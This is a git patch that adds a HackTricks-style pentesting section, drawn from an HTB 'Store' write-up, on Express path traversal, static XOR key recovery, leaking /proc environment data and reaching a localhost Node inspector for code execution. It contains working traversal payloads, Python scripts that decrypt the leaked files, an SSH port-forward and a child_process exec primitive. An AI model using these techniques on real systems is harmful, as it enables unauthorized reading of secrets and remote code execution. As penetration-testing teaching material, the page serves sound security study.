From 7d0774958ba667a65fe6c030ac826bcc72dd628f Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Thu, 30 Oct 2025 13:31:43 +0000 Subject: [PATCH] =?UTF-8?q?Add=20content=20from:=20HTB:=20Store=20?= =?UTF-8?q?=E2=80=94=20URL=E2=80=91encoded=20traversal=20+=20static=20XOR?= =?UTF-8?q?=20=E2=86=92=20secrets=20=E2=86=92=20...?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../pentesting-web/nodejs-express.md | 110 +++++++++++++++++- 1 file changed, 108 insertions(+), 2 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/nodejs-express.md b/src/network-services-pentesting/pentesting-web/nodejs-express.md index f51ed42c62e..67aa320a596 100644 --- a/src/network-services-pentesting/pentesting-web/nodejs-express.md +++ b/src/network-services-pentesting/pentesting-web/nodejs-express.md @@ -32,11 +32,117 @@ cookie-monster -b -f cookies.json -w custom.lst ### Encode and sign a new cookie -iI you know the secret you can sign a the cookie. +If you know the secret you can sign the cookie. ```bash cookie-monster -e -f new_cookie.json -k secret ``` +--- + +## Express path traversal via URL-decoded separators and unsafe normalize checks + +Anti-pattern frequently seen in Express/Node handlers: + +```js +// BAD: concatenates base + user input, then only checks normalize equality +router.get('/file/:file', async (req, res) => { + const name = req.params.file; // Express decodes %2F into '/' + const base = `${process.env.STORE_HOME}/public/tmp/`; + const filePath = `${base}${name}`; + if (path.normalize(filePath) == filePath) { + // developer expects ../ to be removed to decide an action, + // but still uses the attacker-controlled filePath afterwards + } + const data = await xorFileContents(filePath, process.env.SECRET, false); + res.render('file', { data, b64data: Buffer.from(data).toString('base64') }); +}); +``` -{{#include ../../banners/hacktricks-training.md}} +Key issues: +- Express percent-decodes path params. Payloads like `..%2F..%2Fetc%2Fpasswd` arrive as `../../etc/passwd`. +- Comparing `path.normalize(full) == full` does not constrain to an allow-listed directory; it only changes string representation. If any subsequent I/O uses `filePath`, traversal escapes the intended folder. + +Exploitation pattern: +- Fuzz `:file` with `%2f`-encoded slashes: `/file/..%2F..%2F..%2Fetc%2Fpasswd`. +- If the handler always performs I/O on the constructed path (even when skipping some branch due to mismatch), you get arbitrary file read/write under the process account. + +For generic LFI/traversal techniques and wordlists: + +{{#ref}} +../../pentesting-web/file-inclusion/README.md +{{#endref}} + +## Data: URL responses and XOR “encryption” (known-plaintext keystream recovery) + +Some routes embed bytes in a data URL like `data:application/octet-stream;charset=utf-8;base64,`. If the server XORs file contents with a static short key before embedding, you can recover plaintext by deriving the repeating keystream from a known plaintext upload: + +```python +import requests +# Derive repeating XOR key from a known plaintext and its encrypted twin +enc = requests.get('http://host:5000/tmp/known.png').content +pt = open('known.png','rb').read() +keystream = bytes([e ^ p for e,p in zip(enc, pt)]) +print(keystream[:16]) # b'Hm9zeWC38...' +``` + +Then decrypt arbitrary file reads returned as data URLs: + +```python +from base64 import b64decode +from itertools import cycle +import re, requests +html = requests.get('http://host:5000/file/..%2f..%2fetc%2fpasswd').text +b64 = re.search(r'data:[^;]+;base64,([^"]+)', html).group(1) +pt = bytes([c ^ k for c,k in zip(b64decode(b64), cycle(keystream))]) +print(pt.decode(errors='ignore')) +``` + +## Leaking runtime context from /proc via LFI + +Use traversal to query process metadata and environment to pivot: + +```bash +# Environment and command line of the current worker +/file/..%2f..%2fproc%2fself%2fenviron +/file/..%2f..%2fproc%2fself%2fcmdline +``` + +Look for hints like: +- USER, app paths, `.env` location +- Node inspector flags: `node --inspect=127.0.0.1:9229 app.js` + +## Reaching localhost-only Node inspector via SSH port-forward (even with forced SFTP) + +If the app runs with `--inspect` bound to 127.0.0.1:9229 and you have SSH credentials (e.g., leaked from `.env`), you can often still create local forwards even when the account is restricted to SFTP. + +```bash +# Forward remote 127.0.0.1:9229 to local 9229 +ssh -N -L 9229:127.0.0.1:9229 user@target +``` + +Attach with Chrome DevTools (chrome://inspect) or CLI: + +```bash +node inspect 127.0.0.1:9229 +# In debug console, typical RCE primitives: +# process.mainModule.require('child_process').exec('id') +``` + +More on abusing Node inspector and Chromium/CEF debuggers (including payloads and caveats): + +{{#ref}} +../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md +{{#endref}} + +## Note on Chrome DevTools remote debugging ports + +If Chrome/Chromium runs as root with `--remote-debugging-port` open locally, port-forwarding to that port grants privileged control via the Chrome DevTools Protocol, which can be abused for post-exploitation. See payload ideas in the page referenced above. + +## References + +- [HTB: Store — URL‑encoded traversal + static XOR → secrets → Node inspector RCE → Chrome debug root](https://0xdf.gitlab.io/2025/10/30/htb-store.html) +- [Node.js: Debugging getting started (inspector)](https://nodejs.org/en/docs/guides/debugging-getting-started/) +- [Chrome DevTools Protocol](https://chromedevtools.github.io/devtools-protocol/) + +{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file